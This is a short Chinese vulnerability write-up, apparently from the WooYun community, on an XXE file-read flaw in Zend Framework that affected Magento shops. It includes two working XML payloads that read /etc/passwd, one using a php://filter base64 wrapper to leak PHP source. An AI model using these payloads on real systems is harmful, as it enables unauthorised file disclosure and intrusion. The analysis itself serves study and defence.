当前位置:WooYun(白帽子技术社区) >> php >> zend framework文件读取漏洞分析
原始的漏洞公告在:
https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
这是一个典型的xml实体注射漏洞,原因与之前80sec上的警告类似
http://www.80sec.com/xml-entity-injection.html
据@蟋蟀哥哥 在乌云上的漏洞报告提醒,一些开源软件因为使用了zend framework的xml模块功能导致存在了问题,Magento就是其中一个典型的软件,并且已经有多个在线网店证明存在这个问题。
原始的漏洞公告给出了测试方法:<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>
但是因为真实的环境里,在读取php等文件的时候由于文件本身包含的<等字符会导致xml解析失败,于是导致读取文件失败,但在php里可以使用如下方式绕过:<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passswd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>
完毕!